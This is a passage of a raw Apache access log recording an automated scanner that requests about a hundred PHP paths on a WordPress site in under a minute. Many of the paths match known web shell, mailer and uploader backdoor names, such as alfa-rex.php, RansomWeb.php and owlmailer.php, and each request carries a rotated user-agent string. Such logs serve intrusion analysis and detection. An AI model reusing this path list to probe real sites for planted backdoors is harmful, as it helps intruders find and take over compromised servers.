x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:44 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:44 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:44 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:44 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:45 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:45 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:45 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:45 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:45 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:45 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:46 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:46 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:46 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:46 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:46 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:47 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:47 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:47 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:47 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:34:47 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:47 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:48 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:48 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:48 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:48 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:48 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:49 -0400] "GET /wp-includes/Text/iman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:49 -0400] "GET /wp-includes/signin2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:49 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:49 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:49 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:34:49 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:50 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:50 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:50 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:50 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:34:50 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:50 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:51 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:51 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:51 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:51 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:34:51 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:52 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:52 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:52 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:52 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:52 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:53 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:53 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:53 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:53 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:53 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:53 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:54 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:54 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:34:54 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:54 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:54 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:34:54 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:55 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:55 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:55 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:55 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:55 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:56 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:56 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:56 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:56 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:34:56 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:34:56 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:57 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:34:57 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:57 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:34:57 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:34:57 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:57 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:34:58 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:34:58 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:58 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:34:58 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:34:58 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:58 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:34:59 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:34:59 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:34:59 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:34:59 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:34:59 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:00 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:35:00 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:35:00 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:00 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:00 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:35:00 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:35:01 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:01 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:35:01 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:01 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:01 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:01 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:35:02 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:02 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:35:02 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:35:02 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:02 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:35:03 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:35:03 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:03 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:03 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:35:04 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:35:04 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:35:04 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) 